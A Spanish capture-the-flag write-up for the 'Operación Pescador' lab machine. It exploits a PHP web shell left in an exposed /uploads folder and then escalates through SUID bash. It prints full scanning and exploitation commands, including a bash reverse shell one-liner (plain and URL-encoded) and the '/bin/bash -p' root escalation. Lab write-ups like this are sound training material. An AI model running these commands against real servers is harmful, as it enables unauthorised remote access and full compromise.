# Operación Pescador: de un upload expuesto a una shell web y una escalada trivial por SUID

6 min read
Table of Contents

Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: media


Sobre este CTF

Operación Pescador es una máquina que gira alrededor de una cadena muy concreta y muy realista: una superficie web mal expuesta, un archivo subido accesible desde una ruta pública y una ejecución remota de comandos que termina en una escalada local casi inmediata por una mala configuración de permisos.

No es un laboratorio especialmente complejo en lo técnico, pero sí útil para enseñar una lección importante: cuando una aplicación permite subir contenido y ese contenido termina ejecutándose en servidor, el sistema ya está roto. Si además el host arrastra un binario con SUID mal asignado, el salto a root deja de ser una escalada y pasa a ser un trámite.

En esta entrada muestro la resolución completa, desde el descubrimiento de la máquina hasta la obtención de privilegios totales, explicando qué representa cada fase y por qué esta cadena sigue siendo relevante fuera del laboratorio.


Información técnica

CampoValor
NombreOperación Pescador
IP objetivo10.0.4.39
ServiciosSSH (22), HTTP (80)
Vectores principalespanel web → ruta /uploads expuesta → web shell accesible → RCE → bash con SUID
Dificultadmedia

Descubrimiento de la máquina

En este caso, el primer paso no fue enumerar puertos, sino identificar qué IP había recibido la máquina dentro del entorno de laboratorio. Para ello utilizamos netdiscover sobre la red local:

Terminal window
netdiscover -i eth1 -r 10.0.0.0/16

Salida relevante:

Currently scanning: 10.0.0.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.4.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.4.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.4.3 08:00:27:6f:3d:92 1 60 PCS Systemtechnik GmbH
10.0.4.39 08:00:27:80:8c:91 1 60 PCS Systemtechnik GmbH

La IP de la víctima se identifica como:

10.0.4.39

Escaneo de puertos

Con la IP ya localizada, pasamos a enumerar la superficie expuesta. Primero realizamos un escaneo general y después uno más preciso sobre los puertos encontrados.

Terminal window
nmap -n -Pn -sS -sV -p- --open --min-rate 5000 10.0.4.39
nmap -n -Pn -sCV -p22,80 --min-rate 5000 10.0.4.39

Resultado:

Terminal window
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 23:29 +0100
Nmap scan report for 10.0.4.39
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.65
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: Did not follow redirect to http://mail.innovasolutions.thl/
MAC Address: 08:00:27:80:8C:91 (Oracle VirtualBox virtual NIC)
Service Info: Host: mail.innovasolutions.thl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Análisis inicial

La máquina expone dos servicios:

  • SSH en el puerto 22
  • HTTP en el puerto 80

El detalle importante no es solo el Apache, sino la redirección a un nombre de host concreto:

mail.innovasolutions.thl

Eso obliga a añadir la resolución local en /etc/hosts para poder interactuar correctamente con la aplicación web.

10.0.4.39 mail.innovasolutions.thl

Enumeración web

Una vez resuelto el dominio, accedemos al servicio HTTP y encontramos un panel de inicio de sesión. La propia aplicación deja entrever que no será especialmente útil intentar fuerza bruta directa sobre ese formulario, así que el siguiente paso razonable es enumerar rutas y contenido expuesto.

Para ello utilizamos gobuster:

Terminal window
gobuster dir -u http://mail.innovasolutions.thl -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,zip,php,txt,bak,sh -b 403,404 -t 60

Resultado relevante:

/login.php (Status: 200) [Size: 1619]
/uploads (Status: 301) [Size: 338] [--> http://mail.innovasolutions.thl/uploads/]
/upload.php (Status: 302) [Size: 0] [--> login.php]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/forgot_password.php (Status: 200) [Size: 1317]
/dashboard.php (Status: 302) [Size: 0] [--> login.php]

Comentario

Aquí aparece el punto más interesante de la enumeración: la carpeta /uploads está expuesta públicamente.

Al acceder a ella encontramos un archivo cuyo contenido aparenta ser una imagen, pero cuya extensión real es .php. Ese detalle cambia por completo la lectura del escenario, porque deja abierta la posibilidad de que no estemos ante un simple recurso estático, sino ante una web shell o un archivo ejecutable accesible desde web.


Explotación

Descubrimiento del parámetro ejecutable

Con el archivo ya localizado dentro de /uploads, el siguiente paso es comprobar si acepta parámetros que permitan lectura local o ejecución de comandos. Para ello usamos wfuzz contra la URL del archivo:

Terminal window
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://mail.innovasolutions.thl/uploads/foto.png.php?FUZZ=id --hc 404 --hl 2

Resultado:

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000005340: 200 3120 L 25661 W 677561 Ch "cmd"

El parámetro válido es:

cmd

A partir de ahí, probamos ejecución directa:

http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=id

La ejecución funciona correctamente. Ya tenemos RCE sobre el servidor.

Análisis

Este es el fallo central de la máquina. No estamos explotando una vulnerabilidad compleja del framework ni un bypass sofisticado. Estamos aprovechando una combinación mucho más básica y mucho más peligrosa:

  • una ruta de uploads visible públicamente
  • un archivo ejecutable dentro de esa ruta
  • un parámetro que permite ejecutar comandos del sistema

En un entorno real, esto equivale a perder el servidor en cuanto alguien encuentre el recurso correcto.


Obtención de reverse shell

Con RCE confirmada, el siguiente paso es obtener una shell interactiva. Para ello preparamos un listener en la máquina atacante:

Terminal window
sudo nc -nlvp 4444

Después ejecutamos un one-liner de Bash a través del parámetro cmd:

...?cmd=bash -c 'bash -i >& /dev/tcp/10.0.4.12/4444 0>&1'

Como había espacios y caracteres especiales, se aplicó URL encoding para evitar problemas:

...?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%34%2e%31%32%2f%34%34%34%34%20%30%3e%26%31%27

Resultado en el listener:

Terminal window
listening on [any] 4444 ...
connect to [10.0.4.12] from (UNKNOWN) [10.0.4.39] 50076
bash: cannot set terminal process group (563): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ whoami
www-data

Ya tenemos shell como:

www-data

Tratamiento de TTY

Antes de revisar escalada de privilegios, conviene estabilizar la shell para trabajar con más comodidad.

Terminal window
script /dev/null -c bash

Después:

Terminal window
ctrl + z
stty raw -echo; fg
reset xterm
export TERM=xterm
export BASH=bash

Esto deja una terminal bastante más usable para la fase local.


Escalada de privilegios

Revisión de binarios SUID

Con acceso como www-data, revisamos binarios con SUID:

Terminal window
find / -perm -4000 -type f 2>/dev/null

Resultado relevante:

Terminal window
/usr/local/bin/get-report
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/bash
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

El dato clave aquí es este:

/usr/bin/bash

Análisis

Tener bash con el bit SUID activo rompe por completo el modelo de privilegios del sistema. No hace falta encadenar nada más. No hace falta explotación avanzada. Basta con preservar privilegios al invocar el binario adecuado.

La escalada es inmediata:

Terminal window
/bin/bash -p

Resultado:

Terminal window
bash-5.2# whoami
root

Ya somos root.


Flags

Con privilegios totales ya podemos recuperar las flags del sistema:

Terminal window
cat /home/laptop/flag.txt
cat /root/root.txt

Notas del autor

Operación Pescador está diseñada para enseñar una cadena muy reconocible en escenarios web mal protegidos:

VectorLo que enseñaError real representado
redirección a dominio internodependencia de resolución correctaaplicaciones que esperan un Host concreto
ruta /uploads expuestaenumeración de contenido sensibledirectorios públicos con material ejecutable
archivo .php disfrazadoejecución desde zona de subidauploads inseguros sin separación real
parámetro cmdRCE directaweb shells o scripts dejados en producción
reverse shell como www-datacompromiso del servicio webejecución sobre el usuario del servidor
bash con SUIDescalada trivial a rootpermisos catastróficos sobre binarios comunes

Lo importante de esta máquina no es solo llegar rápido a root. Lo importante es entender lo poco que hace falta cuando una aplicación permite ejecutar código desde una zona que nunca debió ser pública y el sistema además arrastra una configuración SUID desastrosa.


Recursos y referencias

My avatar

¿Te ha resultado útil o interesante este post? Soy Oscar, Senior Platform Engineer y SRE, y en este blog comparto mis reflexiones, experimentos y retos técnicos sobre automatización, seguridad (especialmente el diseño de CTFs), optimización de rendimiento y el impacto de la tecnología en el desarrollo profesional.

Conecta y conversemos: LinkedIn Mi código y proyectos en: GitHub


More Posts